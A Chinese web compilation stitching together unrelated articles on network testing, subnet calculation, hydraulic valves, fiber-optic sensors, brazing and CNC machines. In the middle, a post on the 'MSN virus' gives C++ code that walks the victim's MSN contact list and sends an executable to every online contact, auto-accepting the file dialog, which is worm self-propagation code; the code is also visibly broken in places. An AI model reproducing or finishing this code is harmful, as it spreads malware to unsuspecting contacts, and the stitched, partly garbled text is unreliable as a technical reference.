下面是小编为大家推荐的网络测试原理及分类(共含9篇),欢迎大家分享。同时,但愿您也能像本文投稿人“新建标签页”一样,积极向本站投稿分享好文章。
网络在迅猛发展,使用网络的用户也越来越多,随着用户对网络依赖程度的增加,网络的正常运行变得越来越重要。网络瘫痪已成为数据通信领域的关键问题,为确保网络正常运行,所有的故障必须快速有效地解决。而在网络安装、维护、管理和故障诊断的整个过程中都贯穿着网络的测试问题。可以说,测试为网络的健康运行带来了有效的解决办法。
以太网测试
由于网络应用中越来越多的用到多媒体、视频以及图像传输等技术,所以网络的带宽需求非常紧张。当网络负载很轻时,信息传输的效率会比较高,当流量增长的很快时,碰撞就增加很多并使网络性能下降。一般来说网络性能都与网络上所连接的设备有关,以太网阻塞可能有以下几个原因。
少数高速网络设备网络上少数高速设备就可能消耗大量的网络带宽。例如繁忙的服务器或工程设计的工作站。
网络上的站点过多也就是希望分享带宽的用户太多,其效果和少数高速网络设备的结果一样。 网络中有加重网络流量的一些应用
用户之间的交互和文件的传输对网络有完全不同的需求。交互应用要求较低的延迟,而文件的传输要求较多的带宽和带宽的高利用率。
对带宽的需求是由多种原因造成的,使用交换机比使用集线器等设备可以更有效地解决阻塞问题。通过测试可以帮助用户确定网络性能下降的真正原因,从而对网络是否需要采用交换机以及如何使用交换机提供定量的帮助。例如,利用测试仪器的网络统计功能来检查网段的利用率、碰撞率以及错误率、广播流量的数量等。
如果高利用率是由于出错而反复发送造成的,则利用仪器的错误统计功能可以查出错误类型和来源。当考虑到要使用交换机时,知道引起高流量的来源是非常重要的。测试仪器的“最多发送者”和“最多接收者”的功能可以很容易而且很迅速地告之有关信息。根据这些信息就可以做出决定,比如哪个用户需要特别分配在一个特殊的交换端口。
此外知道有关协议运行的情况也是非常有帮助的。比如哪种协议运行的最多,与之相关站点和网络设备有那些等。有些厂商测试仪(如Fluke LANMeter网络测试仪)的数据记录功能以及网络健康扫描(Health Scan)软件可以对某个网段进行段时间(比如24小时)的监测记录,从而对网络的性能和运行情况作出基本评价。
利用仪器得出的信息,用户就可以决定是否需要使用交换机。理想的设计可能是每台设备都有一个路径与其它所需的设备直接相连。显然在当前的环境下这是不现实或很难实现的。所以小心合理地使用交换机才能够提高网络的性能。而只是简单地用交换机替代正在使用的集线器等设备不可能达到提高网络性能的目的。
越来越多的用户首先考虑使用交换机而不是采用路由器来分隔网络。但是,所安装的交换机工作状况如何,交换机是否有故障,也就是如何测试交换机是一个问题。利用Switch Wizard(交换机测试包)功能,网络管理人员可以在网络的任何一个地方接入交换环境下的网络,通过SNMP和RMON信息,完全地看到交换器的内部情况。并可以同时监测多个交换机端口的统计情况,为任何一个指定端口提供镜像的广播统计和错误统计情况,端口的分析可识别出每个交换机端口上所连接的MAC地址。同时Switch Wizard还可以分析交换机中的快速以太网和FDDI的端口统计。上述这些功能在协议分析仪上是不可能做到的。在复杂的交换网络环境下,Switch Wizand可以极大地帮助网络管理人员维护与监测网络的运行情况。
ATM网络测试
ATM用户和业务提供者之间的铜介质接入电路质量差异很大,从接近光路的质量到只能传送语音业务,因此业务提供者一般对端到端的ATM连接规定所能保证的比特误码率(BER)。
数据检错和重发不再是广域网(WAN)如X.25的任务,而是由用户端的传输层来承担。它可以将32个ATM信元组成一个TCP/IP包,ATM信元中一个比特的错误就会导致两个完整的TCP/IP包或相当于64个ATM信元进行重发。对于有噪声的电路来说,将产生类似滚雪球的效果,重发的数据将导致站点间实际连接的阻塞。
传统的比特误码率测试(BERT)
当在用户驻地和业务提供者的网络边缘交换机之间增加新的接入连接时,将会采用铜缆或光缆。电缆路径将从用户机房的分界点到最近一个中心局的电缆架。电缆由本地交换局负责安装,并进行物理媒介的验收测试以确保能够可靠地传输用户业务。本地交换局进行的测试称为比特误码率测试(BERT)。BERT测试可由安装人员在用户驻地进行,或由技术人员在中心局进行。
进行测试之前,在电缆的一端进行收发环回,测试仪的收发接在电缆未做环回一端。测试仪发送连续的二进制随机码,通过电路的环回在接收口接收。测试仪将发送比特流与接收比特流进行比较,对比特错误(0变成1或1变成0)进行统计。RER是错误比特数和传输的全部比特数之比,通常BERT测试需要进行一段时间(15分钟至24小时)以获得具体的BER值。
ATM BERT测试
传统的BERT只在接入电路到第一个ATM边缘交换机之间的物理层进行。与此不同,ATM BERT测试在ATM层进行并且涉及到连接远端用户站点的整个虚电路。ATM BERT测试对端到端电路的可靠性做全面的认证检查。
测试仪发送的ATM信元净荷中载有一定的BERT码型。ATM交换机并不检查信元净荷的内容,这样BERT比特流将透明地通过公共TAM网络。如果操作人员正确输入了目的虚通道和虚电路的标识值,测试信元将象普通的用户数据一样通过公网进行交换,测试信元到达远端用户后通过环路返回测试。测试仪收到测试信元后,从净荷中分离出BERT码型并将其与发送的码型比较,采用的方法和传统的BERT测试相同,运行一段时间后就会得到整个端到端电路的BER值。
进行ATM BERT测试时,要对测试仪进行设置使其发送与规定的业务合同速率相匹配的测试信元,
操作者输入在业务合同中所规定的数据速率和业务类别(恒定比特率、可变比特率或未定义比特率业务)。BERT将在业务提供者所保证的最大负载状态下进行,以确保在运行实际用户业务之前端到端链路的无误码性。
经常忽略的一点是用户数据在到达第一个ATM边缘交换机之前可能要由几个中心局转接,每次路由转接都增加了产生误码的可能性。传统的BERT测试可能只验证到第一个中心局的本地环路的可靠性而忽略了中转局之间的连接。
ADSL测试
ADSL技术将铜质电话线从直流到1MHz在频率上分割成256个信道,每个信道带宽4.3KHz。频率最低的一个信道(0~4.3KHz)仍旧用来传输模拟的电话信号。对于其余频带,在低频部分传输上行信号,高频部分传输下行信号。ADSL Modem独立地分析每个信道的信噪比,以确定该信道的数据传输速率。当某一信道的信噪比恶化时,Modem会自动降低该信道的速率,以保证传输码元的正确,如果一个信道的信噪比极其恶化时,Modem甚至有可能将该信道关闭。
ADSL技术是一种利用现有的大量铜质电话线传输宽带信息的廉价方法,但是在实际应用方面还有几个需要解决的问题,一是从电话局到用户的电话线长度是不尽相同的,有的可能只有几百米,有的则可能有几公里,电话线的长度不同,所引起的信号衰减也不同;二是传统电话系统中的感性负载线圈和桥接抽头引起的信号色散和频率性失真,会使得信号在某些频率范围内衰减得特别厉害。所以,在安装ADSL时,除了设备本身的调试外,还必须对线路的质量进行测试。
传统ADSL测试方法是在用户端的ADSL Modem上连接一台PC机,测试这台PC机是否能够连通在电话局端的网络,以判断链路的连通性能,这种方法的局限性在于线路的连通性能并不能反映线路传输高速、宽带信号的能力,所以较为合理的做法是不间断地测试线路双向的传输速率和误码率。
安装工程师利用在用户端的仪器控制局端测试仪和整个测试过程。用户可以设置测试的数据速率、测试时长和测试帧的长度。然后仪器自动测试上、下行链路的速度、帧的接收度和误码率并给出测试报告。
布线系统测试
布线是网络的基石,电缆将网络的用户和终端连接在一起,安装一个新的布线系统的费用可以占到整个局域网的50%,布线系统不仅要满足当今数据传输的要求,还要满足今后的应用需求。超五类和六类布线系统是目前及今后一段时间内布线系统的主流,当施工完成以后就面临测试的问题,为此用户需要测试布线系统来进行工程验收。
测试的标准
在国际上负责布线标准制定的主要是美国的TIA以及欧洲的ISO。标准分成两部分,一部分是链路中使用的元器件的标准,例如RJ45插头、插座、线缆和配线架本身的标准,也就是单独的插头、插座等应该达到什么样的指标才可称作是三类、五类、超五类或六类的元件。另一部分是将插头、插座、电缆以及其他连接设备通过施工在现场组装在一起以后(称之为链路)的测试标准。这个标准是真正用来进行最终认证网络链路实际性能的标准。 (☆ 编程入门网 ☆)
举例来说,现在已经有关于五类的元器件标准,那么根据此标准生产出来的接插件只要符合标准都可以称之为五类产品。而用这些元器件安装的布线系统经过测试符合标准以后就可认为是合格并可以支持相应的网络应用。对于三类和五类系统,元器件的标准以及现场的认证测试或验收标准也已经在几年以前完成。
超五类的标准通常称之为Cat 5E,标准的编号是:TIA/EIA-568-A-5。五类标准的更新版本,通常称为Cat 5N,是为满足原来的五类系统用户想要检验其安装的五类系统是否可以运行千兆以太网而制定的标准,标准编号为:TSB95。
六类的标准,包括元件以及链路的测试标准都还在讨论当中,其中不确定的因素还有很多。各个电缆及其元件的生产厂商的六类产品也都不一样,而且还都在不断地改进当中。所以在底之前正式的六类标准,包括元件和测试标准,完成的可能性不大。
如何测试已安装的超五类或六类布线系统
对于超五类系统,由于标准已经正式出台,所以按照标准测量即可。值得注意的是,由于超五类标准中要求测试等效远端串扰(ELFEXT), 目前市场上的五类测试仪都无法满足该参数的测试精度和灵敏度要求,仪器的精度与灵敏度又是由其硬件设计所决定的,通过软件升级是无法提高硬件性能的,所以在选择超五类测试仪时一定要注意这个问题。
目前六类系统的测试是一个比较棘手的问题。问题的原因在于各个公司生产的六类元件都不完全一样,这是因为六类系统是一个暂行的电缆系统,各个公司采用不同的技术来达到链路的标准,而每个公司所采用的技术是各不相同的。当用户从各个公司拿到六类产品时就会明显发现其不同之处。例如A公司生产的六类插头和B公司生产的六类插头是不一样的。因为没有六类系统的元件标准,所以不同公司的六类产品目前还不能相互交叉使用,即不能将A公司的插头和B公司的插座配合来使用,这样使用可能会达不到六类的链路性能。
当使用目前的六类链路标准草案对安装的六类链路进行测试时会出现连接的问题,因为测试仪要接入安装的链路才能进行测试,在接入时仪器上使用的连接插头或插座如果和被测链路不是同一个公司的产品,测试仪就可能会将原本合格的链路判定为不合格。在实验室对不同公司的六类链路进行这样的测试时就会证明这一点,而且各个电缆系统的生产厂商也承认这一事实。所以目前在测试六类链路时,测试仪必须使用和被测链路相同的链路接口适配器。例如要测试A公司的六类链路,测试仪必须使用与A公司相匹配的链路接口适配器(Link Interface Adapter)。
测试不同厂家的六类系统需要使用该厂家的专用适配器,这些专用适配器需要测试仪厂家和各个六类系统的提供厂家分别进行合作开发,因此测试仪所配的专用适配器还需要各个六类系统的生产厂家提供书面的认可。另外一种选择是使用超五类的标准对链路进行测试,因为超五类链路可以满足目前所有局域网的应用。而使用不正确的方法进行测试,其结果是最不可取的。在选择六类测试仪时,注意要选择相应的接口适配器。
比例控制阀主要用於开回路控制(openloopcontrol);比例控制阀的输出量与输入信号成比例关系,且比例控制阀内电磁线圈所产生的磁力大小与电流成正比,
在传统型式的液压控制阀中,只能对液压进行定值控制,例如:压力阀在某个设定压力下作动,流量阀保持通过所设定的流量,方向阀对於液流方向通/断的切换。因此这些控制阀组成的系统功能都受到一些限制,随著技术的进步,许多液压系统要求流量和压力能连续或按比例地随控制阀输入信号的改变而变化。液压伺服系统虽能满足其要求,而且精度很高,但对於大部分的工业来说,他们并不要求系统有如此高的品质,而希望在保证一定控制性能的条件下,同时价格低廉,工作可靠,维护简单,所以比例控制阀就是在这种背景下发展起来的,
比例控制阀可分为压力控制阀,流量控制及方向控制阀三类。
压力控制阀:用比例电磁阀取代引导式溢流阀的手调装置便成为引导式比例溢流阀,其输出的液压压力由输入信号连续或按比例控制。
流量控制阀:用比例电磁阀取代节流阀或调速阀的手调装置而以输入信号控制节流阀或调速阀之节流口开度,可连续或按比例地控制其输出流量。故节流口的开度便可由输入信号的电压大小决定。
方向控制阀:比例电磁阀取代方向阀的一般电磁阀构成直动式比例方向阀,其滑轴不但可以换位,而且换位的行程可以连续或按比例地变化,因而连通油口间的通油面积也可以连续或按比例地变化,所以比例方向控制阀不但能控制执行元件的运动方向外,还能控制其速度。
网络测试设备完成诸如以太网线卡之类网络设备的功能测试,从而确保它们可以正确的接收和传输数据,在一个以太网测试中,以太网的流量或数据从网络中路由到被测试的以太网板上然后被发送到网络测试仪器上。10/100以太网媒体存取控制器(MAC)发送数据到网络流量采集及分析模块,该模块用来精确的分析采集到的数据。网络流量发生模块也生成以太网流量,发送到被测试的10/100 以太网卡上,然后被网络测试仪和网络流量采集分析模块精确的测试,
网络测试仪就是这样来确保两个不同源的以太网卡进行精确的接收和发送数据的。
10/100以太网测试仪中最敏感的就是每端口的成本。Cyclone器件的高密度和低成本非常适合这类设计和商业需求。Cyclone器件可以和Altera的例如10/100以太网媒体存取控制器这类的IP核联合起来缩短设计周期。而Nios嵌入式软核处理器可以用来为整个系统的控制功能。因此,低成本的Cyclone器件和IP核的组合,可以缩短开发周期,减少开发成本,加快新产品上市时间。除此之外,将独立器件的功能集成到单一的Cyclone器件中还可以减少电路板上的独立器件的数量,减少开发时间,而且有效的降低了产品的成本。
【子网掩码及网络划分原理】
随着互连网应用的不断扩大,原先的IPv4的弊端也逐渐暴露出来,即网络号占位太多,而主机号位太少,所以其能提供的主机地址也越来越稀缺,目前除了使用NAT在企业内部利用保留地址自行分配以外,通常都对一个高类别的IP地址进行再划分,以形成多个子网,提供给不同规模的用户群使用。
这里主要是为了在网络分段情况下有效地利用IP地址,通过对主机号的高位部分取作为子网号,从通常的网络位界限中扩展或压缩子网掩码,用来创建某类地址的更多子网。但创建更多的子网时,在每个子网上的可用主机地址数目会比原先减少。
什么是子网掩码?
子网掩码是标志两个IP地址是否同属于一个子网的,也是32位二进制地址,其每一个为1代表该位是网络位,为0代表主机位。它和IP地址一样也是使用点式十进制来表示的。如果两个IP地址在子网掩码的按位与的计算下所得结果相同,即表明它们共属于同一子网中。
在计算子网掩码时,我们要注意IP地址中的保留地址,即“ 0”地址和广播地址,它们是指主机地址或网络地址全为“ 0”或“ 1”时的IP地址,它们代表着本网络地址和广播地址,一般是不能被计算在内的。
子网掩码的计算:
对于无须再划分成子网的IP地址来说,其子网掩码非常简单,即按照其定义即可写出:如某B类IP地址为 10.12.3.0,无须再分割子网,则该IP地址的子网掩码255.255.0.0。如果它是一个C类地址,则其子网掩码为 255.255.255.0。其它类推,不再详述。下面我们关键要介绍的是一个IP地址,还需要将其高位主机位再作为划分出的子网网络号,剩下的是每个子网的主机号,这时该如何进行每个子网的掩码计算。
下面总结一下有关子网掩码和网络划分常见的面试考题:
1)利用子网数来计算
在求子网掩码之前必须先搞清楚要划分的子网数目,以及每个子网内的所需主机数目。
(1) 将子网数目转化为二进制来表示;
如欲将B类IP地址168.195.0.0划分成27个子网:27=11011;
(2) 取得该二进制的位数,为N;
该二进制为五位数,N = 5
(3) 取得该IP地址的类子网掩码,将其主机地址部分的的前N位置1即得出该IP地址划分子网的子网掩码。
将B类地址的子网掩码255.255.0.0的主机地址前5位置 1,得到 255.255.248.0
2)利用主机数来计算
如欲将B类IP地址168.195.0.0划分成若干子网,每个子网内有主机700台:
(1) 将主机数目转化为二进制来表示;
700=1010111100;
(2) 如果主机数小于或等于254(注意去掉保留的两个IP地址),则取得该主机的二进制位数,为N,这里肯定 N<8。如果大于254,则 N>8,这就是说主机地址将占据不止8位;
该二进制为十位数,N=10;
(3) 使用255.255.255.255来将该类IP地址的主机地址位数全部置1,然后从后向前的将N位全部置为 0,即为子网掩码值。
将该B类地址的子网掩码255.255.0.0的主机地址全部置1,得到255.255.255.255,然后再从后向前将后 10位置0,即为:11111111.11111111.11111100.00000000,即255.255.252.0。这就是该欲划分成主机为700台的B类IP地址 168.195.0.0的子网掩码。
3)还有一种题型,要你根据每个网络的主机数量进行子网地址的规划和计算子网掩码。这也可按上述原则进行计算。
比如一个子网有10台主机,那么对于这个子网需要的IP地址是:
10+1+1+1=13
注意:加的第一个1是指这个网络连接时所需的网关地址,接着的两个1分别是指网络地址和广播地址。
因为13小于16(16等于2的4次方),所以主机位为4位。而256-16=240,所以该子网掩码为255.255.255.240。
如果一个子网有14台主机,不少人常犯的错误是:依然分配具有16个地址空间的子网,而忘记了给网关分配地址。这样就错误了,因为14+1+1+1=17,17大于16,所以我们只能分配具有32个地址(32等于2的5次方)空间的子网。这时子网掩码为:255.255.255.224。
前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题,
下面是测试代码,只有通过MSN传送文件部分
CODE:
#include “stdafx.h”
#include
#include
#include “msgruaid.h” //这两个头文件就是接口的定义
#include “msgrua.h” //有兴趣的同学可以在网上找找(没找着可以找我要)
#include
int main(int argc, char* argv[])
{
IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;
IMessengerContact *MsnContact;
IMessengerContacts *MsnContacts;
IMessengerWindow *pIMsnWindow;
__MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
VARIANT vaTemp;
BSTR bstrFileName;
char *szOpenDlg;
char szMsnWindowsClass[] = “IMWindowClass”;
char szButtonText[] = “打开(&O)”;
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];
CoInitialize(0); //初始化COM库
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例
pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
long nCount;
MsnContacts->get_Count(&nCount); //得到好友数
for (int i = 0; i < nCount; i++)
{
MsnContacts->Item(i, (IDispatch**)&MsnContact);
MsnContact->get_SigninName(&pbstrName); //账号
MsnContact->get_FriendlyName(&bstrFriendName); //签名
szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
MsnContact->get_Status(&dwStatus);
if (dwStatus == MISTATUS_ONLINE) //判断是否在线
{
GetCurrentDirectory(MAX_PATH, szCurDir);
lstrcat(szCurDir, “\”);
lstrcat(szCurDir, “TestMsn.exe”);
lstrcpy(szBuf, “发送文件给 ”);
lstrcat(szBuf, szOpenDlg);
bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
vaTemp.vt = VT_BSTR;
vaTemp.bstrVal = pbstrName;
pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件
do
{
hWnd = FindWindow(NULL,szBuf);
hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);
& hBtn));
dwControlId <<= 16;
dwControlId |= 1;
PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
keybd_event(VK_RETURN, 0, 0, 0);
keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);
}
MsnContact->Release;
MsnContacts->Release();
pIMessenger->Release(); //释放相关资源
CoUninitialize();
ExitProcess(0);
return 0;
}
光纤传感器结构原理及分类
光纤温度传感器
1、光纤传感器结构原理
以电为基础的传统传感器是一种把测量的状态转变为可测的电信号的装置。它的电源、敏感元件、信号接收和处理系统以及信息传输均用金属导线连接,见图 (a)。光纤传感器则是一种把被测量的状态转变为可测的光信号的装置。由光发送器、敏感元件(光纤或非光纤的)、光接收器、信号处理系统以及光纤构成,见 图(b)。
由光发送器发出的光经源光纤引导至敏感元件。这时,光的某一性质受到被测量的调制,已调光经接收光纤耦合到光接收器,使光信号变为电信号,最后经信号处理得到所期待的被测量。
可见,光纤传感器与以电为基础的传统传感器相比较,在测量原理上有本质的差别。传统传感器是以机―电测量为基础,而光纤传感器则以光学测量为基础。
光是一种电磁波,其波长从极远红外的lmm到极远紫外线的10nm。它的物理作用和生物化学作用主要因其中的电场而引起。因此,讨论光的敏感测量必须考虑光的电矢量E的振动,即
A――电场E的振幅矢量;ω――光波的振动频率;
φ――光相位;t――光的传播时间。
可见,只要使光的强度、偏振态(矢量A的方向)、频率和相位等参量之一随被测量状态的变化而变化,或受被测量调制,那么,通过对光的强度调制、偏振调制、频率调制或相位调制等进行解调,获得所需要的被测量的信息。
2、光纤传感器的分类
注:MM多模;SM单模;PM偏振保持;a,b,c功能型、非功能型、拾光型
(1)根据光纤在传感器中的作用
光纤传感器分为功能型、非功能型和拾光型三大类。
1)功能型(全光纤型)光纤传感器
利用对外界信息具有敏感能力和检测能力的光纤(或特殊光纤)作传感元件,将“传”和“感”合 为一体的传感器。光纤不仅起传光作用,而且还利用光纤在外界因素(弯曲、相变)的作用下,其光学特性(光强、相位、偏振态等)的变化来实现“传”和“感” 的'功能。因此,传感器中光纤是连续的。由于光纤连续,增加其长度,可提高灵敏度。
2)非功能型(或称传光型)光纤传感器
光纤仅起导光作用,只“传”不“感”,对外界信息的“感觉”功能依靠其他物理性质的功能元件完成。光纤不连续。此类光纤传感器无需特殊光纤及其他特殊技术,比较容易实现,成本低。但灵敏度也较低,用于对灵敏度要求不太高的场合。
用光纤作为探头,接收由被测对象辐射的光或被其反射、散射的光。其典型例子如光纤激光多普勒速度计、辐射式光纤温度传感器等。
(2)根据光受被测对象的调制形式
形式:强度调制型、偏振调制、频率调制、相位调制。
1)强度调制型光纤传感器
是一种利用被测对象的变化引起敏感元件的折射率、吸收或反射等参数的变化,而导致光强度变化来实现敏感测量的传感器。有利用光纤的微弯损耗;各 物质的吸收特性;振动膜或液晶的反射光强度的变化;物质因各种粒子射线或化学、机械的激励而发光的现象;以及物质的荧光辐射或光路的遮断等来构成压力、振 动、温度、位移、气体等各种强度调制型光纤传感器。
优点:结构简单、容易实现,成本低。
缺点:受光源强度波动和连接器损耗变化等影响较大 。
是一种利用光偏振态变化来传递被测对象信息的传感器。有利用光在磁场中媒质内传播的法拉第效应做成的电流、磁场传感器;利用光在电场中的压电晶 体内传播的泡尔效应做成的电场、电压传感器;利用物质的光弹效应构成的压力、振动或声传感器;以及利用光纤的双折射性构成温度、压力、振动等传感器。这类 传感器可以避免光源强度变化的影啊,因此灵敏度高。
3)频率调制光纤传感器
是一种利用单色光射到被测物体上反射回来的光的频率发生变化来进行监测的传感器。有利用运动物体反射光和散射光的多普勒效应的光纤速度、流速、 振动、压力、加速度传感器;利用物质受强光照射时的喇曼散射构成的测量气体浓度或监测大气污染的气体传感器;以及利用光致发光的温度传感器等。
4)相位调制传感器
其基本原理是利用被测对象对敏感元件的作用,使敏感元件的折射率或传播常数发生变化,而导致光的相位变化,使两束单色光所产生的干涉条纹发生变 化,通过检测干涉条纹的变化量来确定光的相位变化量,从而得到被测对象的信息。通常有利用光弹效应的声、压力或振动传感器;利用磁致伸缩效应的电流、磁场 传感器;利用电致伸缩的电场、电压传感器以及利用光纤赛格纳克(Sagnac)效应
的旋转角速度传感器(光纤陀螺)等。这类传感器的灵敏度很高。但由于须 用特殊光纤及高精度检测系统,因此成本高。
什么是钎焊
用比母材熔点低的金属材料作为钎料,用液态钎料润湿母材和填充工件接口间隙并使其与母材相互扩散的焊接方法,钎焊变形小,接头光滑美观,适合于焊接精密、复杂和由不同材料组成的构件,如蜂窝结构板、透平叶片、硬质合金刀具和印刷电路板等。钎焊前对工件必须进行细致加工和严格清洗,除去油污和过厚的氧化膜,保证接口装配间隙。间隙一般要求在 0.01~0.1毫米之间。
种类
根据焊接温度的不同,钎焊可以分为两大类。焊接加热温度低于450℃称为软钎焊,高于450℃称为硬钎焊。
软钎焊
多用于电子和食品工业中导电、气密和水密器件的焊接。以锡铅合金作为钎料的锡焊最为常用。软钎料一般需要用钎剂,以清除氧化膜,改善钎料的润湿性能。钎剂种类很多,电子工业中多用松香酒精溶液软钎焊。这种钎剂焊后的残渣对工件无腐蚀作用,称为无腐蚀性钎剂。焊接铜、铁等材料时用的钎剂,由氯化锌、氯化铵和凡士林等组成,
焊铝时需要用氟化物和氟硼酸盐作为钎剂,还有用盐酸加氯化锌等作为钎剂的。这些钎剂焊后的残渣有腐蚀作用,称为腐蚀性钎剂,焊后必须清洗干净。
硬钎焊
接头强度高,有的可在高温下工作。硬钎焊的钎料种类繁多,以铝、银、铜、锰和镍为基的钎料应用最广。铝基钎料常用于铝制品钎焊。银基、铜基钎料常用于铜、铁零件的钎焊。锰基和镍基钎料多用来焊接在高温下工作的不锈钢、耐热钢和高温合金等零件。焊接铍、钛、锆等难熔金属、石墨和陶瓷等材料则常用钯基、锆基和钛基等钎料。选用钎料时要考虑母材的特点和对接头性能的要求。硬钎焊钎剂通常由碱金属和重金属的氯化物和氟化物,或硼砂、硼酸、氟硼酸盐等组成,可制成粉状、糊状和液状。在有些钎料中还加入锂、硼和磷,以增强其去除氧化膜和润湿的能力。焊后钎剂残渣用温水、柠檬酸或草酸清洗干净。
方法
钎焊常用的工艺方法较多,主要是按使用的设备和工作原理区分的。如按热源区分则有红外、电子束、激光、等离子、辉光放电钎焊等;按工作过程分有接触反应钎焊和扩散钎焊等。接触反应钎焊是利用钎料与母材反应生成液相填充接头间隙。扩散钎焊是增加保温扩散时间,使焊缝与母材充分均匀化,从而获得与母材性能相同的接头。图为典型的钎焊接头形式。
数控机床是在普通机床的基础上发展起来的,由于它具有良好的柔性、高的加工精度和稳定性、能加工复杂零件、减轻了工人的劳动强度和易于实现现代化管理等一系列优点,目前在机械制造业中得到了广泛的应用。
一、数控机床原理
数控机床一般由信息载体、数控装置、伺服系统和机床本体等四部分组成。信息载体即穿孔纸带、穿孔卡、磁带和磁盘等,用于记录程序编制的内容,并通过光电纸带阅读机、磁带机和磁盘驱动器等读入装置输送给数控装置。数控装置是数控机床的核心,也就是常说的NC(普通数控装置) 或CNC(计算机数控装置),NC是数控机床发展初期的一种形式,现在的数控机床大多使用CNC系统。数控装置的作用是接受读入装置输入的加工信息,经过译码处理和运算,发出相应的指令脉冲给伺服系统,完成零件加工。伺服系统是数控机床的执行部分,由电动机和传动装置组成。伺服系统接受数控装置传来的指令脉冲信号,控制机床执行件(工作台或刀架)运动的位移和速度。机床本体主要是机械部件,包括主运动部件、进给运动部件和支承部件等。对于数控机床部件来讲,机械部件结构较通用机床简单,但其各项技术指标要求比通用机床要高。在数控机床上进行加工时,首先根据零件图编制程序,编程的代码和指令格式大多符合ISO标准和相应的国家标准。然后将程序通过信息载体输入到NC或CNC中,由数控系统根据程序内容发出指令,一方面由伺服系统中的电动机通过传动装置控制机床执行件的运动,另一方面控制机床的其它辅助运动,如主轴转速、转向选择,冷却泵的开停等。两方面协同动作,共同完成加工内容。
二、数控机床的分类方法多种多样,常见的分类方法有四种
(一)按伺服系统类型分类
分为开环、闭环和半闭环系统。由伺服系统控制机床执行件运动时,虽然其接受了数控装置的指令要求值,但实际位移量并不一定等同于指令要求值,也就是存在一定的误差。这一误差是由伺服电动机的转角误差、减速齿轮的传动误差、滚珠丝杠的导程误差以及导轨副抵抗爬行的能力这四项因素综合反映的。开环、闭环和半闭环系统的主要区别在于使用的电动机不同、是否进行执行件的测量及误差补偿以及误差补偿范围的大小不同。开环系统如图2所示,由于不进行执行件的测量及误差补偿,所以结构简单,维修方便,精度相对较低,成本低,一般用于精度要求不太高的中小型数控机床上。闭环系统如图3所示,精度高,成本高,主要用于精度要求较高的大型和精密数控机床上。半闭环系统如图4所示,介于两者之间,只对部分误差进行补偿,因此从理论上讲其加工精度不如全闭环系统。图1所示的系统称之为开环系统(图中虚线框部分所示),如果加入位移检测装置和反馈系统(图中虚线部分所示),此时,该系统称为闭环系统。
(二)按控制运动的方式分类
分为点位控制、直线控制和轮廓控制三种。点位控制数控机床在加工平面内只控制刀具相对于工件的定位点的坐标位置,而对定位移动的轨迹不作要求。这类控制系统主要用于数控钻床、数控镗床、数控冲床和测量机等。直线控制数控机床能控制刀具或工件的适当的进给运动,沿平行于坐标轴的方向进行直线移动和加工,或者控制两个坐标轴以相同的速度运动,沿45°斜线进行切削加工。这类控制系统主要用于数控车床、数控镗铣床以及某些加工中心。轮廓控制数控机床能同时控制两个或两个以上坐标轴,使刀具与工件作相对运动,加工复杂零件。单纯的点位控制和直线控制机床很少,大部分为轮廓控制数控机床。轮廓控制数控机床能够实现联动加工,也能进行点位和直线控制。这类控制系统主要用于数控车床、数控铣床、数控磨床以及加工中心机床。
(三)按工艺用途分类
分为一般数控机床和数控加工中心。一般数控机床指与一般通用机床相对应的数控车、铣、钻、镗、磨和齿轮加工机床。加工中心最显著的特点是具有刀库和换刀机械手,能够实现多工序加工。刀库的容量应为二十把刀以上,但是一般常说的四方刀架、八方刀架等不属于刀库的范畴。
(四)按数控装置的功能分类
分为数控机床、简易数控机床和经济型数控机床。数控机床的数控装置功能齐全,能够进行自动编程、自动测量和自动故障诊断等。简易数控机床的功能单一,仅具备实现自动化的.基本功能,并采用直观输入方式,结构简单,价格便宜。通用机床可采用单片机或单板机经数控化改造成经济型数控机床,性能可靠,操作简便。
三、选择数控机床时,应主要考虑以下几个问题
(一)企业经济能力和工人技术水平用户如何合理地利用有限的资金,获得适合本单位的数控机床十分重要。除了不同的经济能力购买不同档次的数控机床外,操作人员的操作、日常维护和保养(预防性维修)的技术水平,维修人员的故障维修水平都会影响机床的精度、稳定性和寿命。
(二)数控系统的选择国外品牌有发那科、西门子、三菱等系统,国内品牌有华中数控、广州数控等,根据加工精度、稳定性、价格等各方面因素进行合理选择。国外的数控系统由于发展较早,相对国产数控系统来讲精度、稳定性好一些,但价格也较高。国产数控系统有较大的价格优势,且各方面性能指标都在不断提高中,如华中数控等系统在国内也占有不少的市场份额。
(三)数控机床类型、技术规格的选择根据典型加工对象选用数控机床的类型,工件的加工批量应大于经济批量,选择的数控机床型号应能满足本厂大部分工件的加工要求,并能保证加工质量。机床型号、规格的选择切忌能包揽一切项目,没必要且浪费成本。少数超规格的工件可选择外协或其它方法解决。
(四)售后服务质量 数控机床由于涉及多学科知识,一般出现故障后是由厂家来进行维修的。机床在初期运行期间或正常使用后,都可能会有一些问题,此时用户与厂家及时的沟通就显得极为重要。实际中也有不少例子,比如一些单位购买进口多轴联动机床,一旦出现故障,维修人员都得进出国门修理,有时候并不像顾客所希望的那样及时。所以不管是顾客或是厂家,若售后服务质量好的话,对双方进一步的发展都至关重要。
总之,数控机床由于一系列优点,已在机床工业中日渐受到人们的重视,而且数控技术的发展也使机床的结构、种类发生了一系列的变化。企业在数控机床的选择中应根据企业经济能力和工人技术水平结合数控机床类型、技术规格及售后服务质量等原则,综合考虑上述因素的利弊,确定数控机床的选择。
分布式网络性能监测系统设计与实现
